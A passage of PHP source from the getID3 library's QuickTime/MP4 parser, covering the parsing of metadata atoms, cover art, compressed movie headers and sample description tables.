			$info['audio']['bitrate'] = $info['bitrate'];
		}
		if (!empty($info['bitrate']) && !empty($info['audio']['bitrate']) && empty($info['video']['bitrate']) && !empty($info['video']['frame_rate']) && !empty($info['video']['resolution_x']) && ($info['bitrate'] > $info['audio']['bitrate'])) {
			$info['video']['bitrate'] = $info['bitrate'] - $info['audio']['bitrate'];
		}
		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
				$samples_per_second = $samples_count / $info['playtime_seconds'];
				if ($samples_per_second > 240) {
					// has to be audio samples
				} else {
					$info['video']['frame_rate'] = $samples_per_second;
					break;
				}
			}
		}
		if ($info['audio']['dataformat'] == 'mp4') {
			$info['fileformat'] = 'mp4';
			if (empty($info['video']['resolution_x'])) {
				$info['mime_type']  = 'audio/mp4';
				unset($info['video']['dataformat']);
			} else {
				$info['mime_type']  = 'video/mp4';
			}
		}

		if (!$this->ReturnAtomData) {
			unset($info['quicktime']['moov']);
		}

		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
			$info['audio']['dataformat'] = 'quicktime';
		}
		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
			$info['video']['dataformat'] = 'quicktime';
		}
		if (isset($info['video']) && ($info['mime_type'] == 'audio/mp4') && empty($info['video']['resolution_x']) && empty($info['video']['resolution_y']))  {
			unset($info['video']);
		}

		return true;
	}

	/**
	 * @param string $atomname
	 * @param int    $atomsize
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
		// https://code.google.com/p/mp4v2/wiki/iTunesMetadata

		$info = &$this->getid3->info;

		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see https://www.getid3.org/phpBB3/viewtopic.php?t=1717
		array_push($atomHierarchy, $atomname);
		$atom_structure              = array();
		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
		$atom_structure['name']      = $atomname;
		$atom_structure['size']      = $atomsize;
		$atom_structure['offset']    = $baseoffset;
		if (substr($atomname, 0, 3) == "\x00\x00\x00") {
			// https://github.com/JamesHeinrich/getID3/issues/139
			$atomname = getid3_lib::BigEndian2Int($atomname);
			$atom_structure['name'] = $atomname;
			$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
		} else {
			switch ($atomname) {
				case 'moov': // MOVie container atom
				case 'moof': // MOvie Fragment box
				case 'trak': // TRAcK container atom
				case 'traf': // TRAck Fragment box
				case 'clip': // CLIPping container atom
				case 'matt': // track MATTe container atom
				case 'edts': // EDiTS container atom
				case 'tref': // Track REFerence container atom
				case 'mdia': // MeDIA container atom
				case 'minf': // Media INFormation container atom
				case 'dinf': // Data INFormation container atom
				case 'nmhd': // Null Media HeaDer container atom
				case 'udta': // User DaTA container atom
				case 'cmov': // Compressed MOVie container atom
				case 'rmra': // Reference Movie Record Atom
				case 'rmda': // Reference Movie Descriptor Atom
				case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'ilst': // Item LiST container atom
					if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
						// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
						$allnumericnames = true;
						foreach ($atom_structure['subatoms'] as $subatomarray) {
							if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
								$allnumericnames = false;
								break;
							}
						}
						if ($allnumericnames) {
							$newData = array();
							foreach ($atom_structure['subatoms'] as $subatomarray) {
								foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
									unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
									$newData[$subatomarray['name']] = $newData_subatomarray;
									break;
								}
							}
							$atom_structure['data'] = $newData;
							unset($atom_structure['subatoms']);
						}
					}
					break;

				case 'stbl': // Sample TaBLe container atom
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					$isVideo = false;
					$framerate  = 0;
					$framecount = 0;
					foreach ($atom_structure['subatoms'] as $key => $value_array) {
						if (isset($value_array['sample_description_table'])) {
							foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
								if (isset($value_array2['data_format'])) {
									switch ($value_array2['data_format']) {
										case 'avc1':
										case 'mp4v':
											// video data
											$isVideo = true;
											break;
										case 'mp4a':
											// audio data
											break;
									}
								}
							}
						} elseif (isset($value_array['time_to_sample_table'])) {
							foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
								if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0) && !empty($info['quicktime']['time_scale'])) {
									$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
									$framecount = $value_array2['sample_count'];
								}
							}
						}
					}
					if ($isVideo && $framerate) {
						$info['quicktime']['video']['frame_rate'] = $framerate;
						$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
					}
					if ($isVideo && $framecount) {
						$info['quicktime']['video']['frame_count'] = $framecount;
					}
					break;


				case "\xA9".'alb': // ALBum
				case "\xA9".'ART': //
				case "\xA9".'art': // ARTist
				case "\xA9".'aut': //
				case "\xA9".'cmt': // CoMmenT
				case "\xA9".'com': // COMposer
				case "\xA9".'cpy': //
				case "\xA9".'day': // content created year
				case "\xA9".'dir': //
				case "\xA9".'ed1': //
				case "\xA9".'ed2': //
				case "\xA9".'ed3': //
				case "\xA9".'ed4': //
				case "\xA9".'ed5': //
				case "\xA9".'ed6': //
				case "\xA9".'ed7': //
				case "\xA9".'ed8': //
				case "\xA9".'ed9': //
				case "\xA9".'enc': //
				case "\xA9".'fmt': //
				case "\xA9".'gen': // GENre
				case "\xA9".'grp': // GRouPing
				case "\xA9".'hst': //
				case "\xA9".'inf': //
				case "\xA9".'lyr': // LYRics
				case "\xA9".'mak': //
				case "\xA9".'mod': //
				case "\xA9".'nam': // full NAMe
				case "\xA9".'ope': //
				case "\xA9".'PRD': //
				case "\xA9".'prf': //
				case "\xA9".'req': //
				case "\xA9".'src': //
				case "\xA9".'swr': //
				case "\xA9".'too': // encoder
				case "\xA9".'trk': // TRacK
				case "\xA9".'url': //
				case "\xA9".'wrn': //
				case "\xA9".'wrt': // WRiTer
				case '----': // itunes specific
				case 'aART': // Album ARTist
				case 'akID': // iTunes store account type
				case 'apID': // Purchase Account
				case 'atID': //
				case 'catg': // CaTeGory
				case 'cmID': //
				case 'cnID': //
				case 'covr': // COVeR artwork
				case 'cpil': // ComPILation
				case 'cprt': // CoPyRighT
				case 'desc': // DESCription
				case 'disk': // DISK number
				case 'egid': // Episode Global ID
				case 'geID': //
				case 'gnre': // GeNRE
				case 'hdvd': // HD ViDeo
				case 'keyw': // KEYWord
				case 'ldes': // Long DEScription
				case 'pcst': // PodCaST
				case 'pgap': // GAPless Playback
				case 'plID': //
				case 'purd': // PURchase Date
				case 'purl': // Podcast URL
				case 'rati': //
				case 'rndu': //
				case 'rpdu': //
				case 'rtng': // RaTiNG
				case 'sfID': // iTunes store country
				case 'soaa': // SOrt Album Artist
				case 'soal': // SOrt ALbum
				case 'soar': // SOrt ARtist
				case 'soco': // SOrt COmposer
				case 'sonm': // SOrt NaMe
				case 'sosn': // SOrt Show Name
				case 'stik': //
				case 'tmpo': // TeMPO (BPM)
				case 'trkn': // TRacK Number
				case 'tven': // tvEpisodeID
				case 'tves': // TV EpiSode
				case 'tvnn': // TV Network Name
				case 'tvsh': // TV SHow Name
				case 'tvsn': // TV SeasoN
					if ($atom_parent == 'udta') {
						// User data atom handler
						$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
						$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
						$atom_structure['data']        =                           substr($atom_data, 4);

						$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
						if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
							$info['comments']['language'][] = $atom_structure['language'];
						}
					} else {
						// Apple item list box atom handler
						$atomoffset = 0;
						if (substr($atom_data, 2, 2) == "\x10\xB5") {
							// not sure what it means, but observed on iPhone4 data.
							// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
							while ($atomoffset < strlen($atom_data)) {
								$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
								$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
								$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
								if ($boxsmallsize <= 1) {
									$this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								switch ($boxsmalltype) {
									case "\x10\xB5":
										$atom_structure['data'] = $boxsmalldata;
										break;
									default:
										$this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;
										break;
								}
								$atomoffset += (4 + $boxsmallsize);
							}
						} else {
							while ($atomoffset < strlen($atom_data)) {
								$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
								$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
								$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
								if ($boxsize <= 1) {
									$this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
									$atom_structure['data'] = null;
									$atomoffset = strlen($atom_data);
									break;
								}
								$atomoffset += $boxsize;

								switch ($boxtype) {
									case 'mean':
									case 'name':
										$atom_structure[$boxtype] = substr($boxdata, 4);
										break;

									case 'data':
										$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
										$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
										switch ($atom_structure['flags_raw']) {
											case  0: // data flag
											case 21: // tmpo/cpil flag
												switch ($atomname) {
													case 'cpil':
													case 'hdvd':
													case 'pcst':
													case 'pgap':
														// 8-bit integer (boolean)
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														break;

													case 'tmpo':
														// 16-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
														break;

													case 'disk':
													case 'trkn':
														// binary
														$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
														$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
														$atom_structure['data']  = empty($num) ? '' : $num;
														$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
														break;

													case 'gnre':
														// enum
														$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
														break;

													case 'rtng':
														// 8-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
														break;

													case 'stik':
														// 8-bit integer (enum)
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
														$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
														break;

													case 'sfID':
														// 32-bit integer
														$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
														$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
														break;

													case 'egid':
													case 'purl':
														$atom_structure['data'] = substr($boxdata, 8);
														break;

													case 'plID':
														// 64-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8));
														break;

													case 'covr':
														$atom_structure['data'] = substr($boxdata, 8);
														// not a foolproof check, but better than nothing
														if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/jpeg';
														} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/png';
														} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
															$atom_structure['image_mime'] = 'image/gif';
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
														break;

													case 'atID':
													case 'cnID':
													case 'geID':
													case 'tves':
													case 'tvsn':
													default:
														// 32-bit integer
														$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
												}
												break;

											case  1: // text flag
											case 13: // image flag
											default:
												$atom_structure['data'] = substr($boxdata, 8);
												if ($atomname == 'covr') {
													if (!empty($atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/unknown'; // provide default MIME type to ensure array keys exist
														if (function_exists('getimagesizefromstring') && ($getimagesize = getimagesizefromstring($atom_structure['data'])) && !empty($getimagesize['mime'])) {
															$atom_structure['image_mime'] = $getimagesize['mime'];
														} else {
															// if getimagesizefromstring is not available, or fails for some reason, fall back to simple detection of common image formats
															$ImageFormatSignatures = array(
																'image/jpeg' => "\xFF\xD8\xFF",
																'image/png'  => "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A",
																'image/gif'  => 'GIF',
															);
															foreach ($ImageFormatSignatures as $mime => $image_format_signature) {
																if (substr($atom_structure['data'], 0, strlen($image_format_signature)) == $image_format_signature) {
																	$atom_structure['image_mime'] = $mime;
																	break;
																}
															}
														}
														$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_structure['data'], 'description'=>'cover');
													} else {
														$this->warning('Unknown empty "covr" image at offset '.$baseoffset);
													}
												}
												break;

										}
										break;

									default:
										$this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset);
										$atom_structure['data'] = $atom_data;

								}
							}
						}
					}
					$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
					break;


				case 'play': // auto-PLAY atom
					$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));

					$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
					break;


				case 'WLOC': // Window LOCation atom
					$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
					$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
					break;


				case 'LOOP': // LOOPing atom
				case 'SelO': // play SELection Only atom
				case 'AllF': // play ALL Frames atom
					$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'name': //
				case 'MCPS': // Media Cleaner PRo
				case '@PRM': // adobe PReMiere version
				case '@PRQ': // adobe PRemiere Quicktime version
					$atom_structure['data'] = $atom_data;
					break;


				case 'cmvd': // Compressed MooV Data atom
					// Code by ubergeekØubergeek*tv based on information from
					// http://developer.apple.com/quicktime/icefloe/dispatch012.html
					$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));

					$CompressedFileData = substr($atom_data, 4);
					if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
						$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
					} else {
						$this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']);
					}
					break;


				case 'dcom': // Data COMpression atom
					$atom_structure['compression_id']   = $atom_data;
					$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
					break;


				case 'rdrf': // Reference movie Data ReFerence atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);

					$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
					$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					switch ($atom_structure['reference_type_name']) {
						case 'url ':
							$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
							break;

						case 'alis':
							$atom_structure['file_alias']     =                           substr($atom_data, 12);
							break;

						case 'rsrc':
							$atom_structure['resource_alias'] =                           substr($atom_data, 12);
							break;

						default:
							$atom_structure['data']           =                           substr($atom_data, 12);
							break;
					}
					break;


				case 'rmqu': // Reference Movie QUality atom
					$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'rmcs': // Reference Movie Cpu Speed atom
					$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					break;


				case 'rmvc': // Reference Movie Version Check atom
					$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
					$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'rmcd': // Reference Movie Component check atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
					break;


				case 'rmdr': // Reference Movie Data Rate atom
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
					break;


				case 'rmla': // Reference Movie Language Atom
					$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));

					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					break;


				case 'ptv ': // Print To Video - defines a movie's full screen mode
					// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
					$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
					$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
					$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
					$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
					$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));

					$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
					$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];

					$ptv_lookup = array(
						0 => 'normal',
						1 => 'double',
						2 => 'half',
						3 => 'full',
						4 => 'current'
					);
					if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
						$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
					} else {
						$this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')');
					}
					break;


				case 'stsd': // Sample Table Sample Description atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					// see: https://github.com/JamesHeinrich/getID3/issues/111
					// Some corrupt files have been known to have high bits set in the number_entries field
					// This field shouldn't really need to be 32-bits, values stores are likely in the range 1-100000
					// Workaround: mask off the upper byte and throw a warning if it's nonzero
					if ($atom_structure['number_entries'] > 0x000FFFFF) {
						if ($atom_structure['number_entries'] > 0x00FFFFFF) {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Ignoring upper byte and interpreting this as 0x'.getid3_lib::PrintHexBytes(substr($atom_data, 5, 3), true, false).' = '.($atom_structure['number_entries'] & 0x00FFFFFF));
							$atom_structure['number_entries'] = ($atom_structure['number_entries'] & 0x00FFFFFF);
						} else {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Please report this to info@getid3.org referencing bug report #111');
						}
					}

					$stsdEntriesDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
						$stsdEntriesDataOffset += 6;
						$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
						$stsdEntriesDataOffset += 2;
						$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
						$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);
						if (substr($atom_structure['sample_description_table'][$i]['data'],  1, 54) == 'application/octet-stream;type=com.parrot.videometadata') {
							// special handling for apparently-malformed (TextMetaDataSampleEntry?) data for some version of Parrot drones
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['mime_type']        =       substr($atom_structure['sample_description_table'][$i]['data'],  1, 55);
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['metadata_version'] = (int) substr($atom_structure['sample_description_table'][$i]['data'], 55,  1);
							unset($atom_structure['sample_description_table'][$i]['data']);
$this->warning('incomplete/incorrect handling of "stsd" with Parrot metadata in this version of getID3() ['.$this->getid3->version().']');
							continue;
						}

						$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
						$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
						$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);

						switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {

							case "\x00\x00\x00\x00":
								// audio tracks
								$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
								$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
								$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
								$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
								$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));

								// video tracks
								// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
								$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
								$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
								$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
								$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
								$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
								$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
								$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  4));
								$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36,  2));
								$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], 38,  4);
								$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42,  2));
								$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44,  2));

								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case '2vuY':
									case 'avc1':
									case 'cvid':
									case 'dvc ':
									case 'dvcp':
									case 'gif ':
									case 'h263':
									case 'hvc1':
									case 'jpeg':
									case 'kpcd':
									case 'mjpa':
									case 'mjpb':
									case 'mp4v':
									case 'png ':
									case 'raw ':
									case 'rle ':
									case 'rpza':
									case 'smc ':
									case 'SVQ1':
									case 'SVQ3':
									case 'tiff':
									case 'v210':
									case 'v216':
									case 'v308':
									case 'v408':
									case 'v410':
									case 'yuv2':
										$info['fileformat'] = 'mp4';
										$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
										if ($this->QuicktimeVideoCodecLookup($info['video']['fourcc'])) {
											$info['video']['fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($info['video']['fourcc']);
										}

										// https://www.getid3.org/phpBB3/viewtopic.php?t=1550
										//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
										if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
											// assume that values stored here are more important than values stored in [tkhd] atom
											$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
											$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
											$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
											$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
										}
										break;

									case 'qtvr':
										$info['video']['dataformat'] = 'quicktimevr';
										break;

									case 'mp4a':
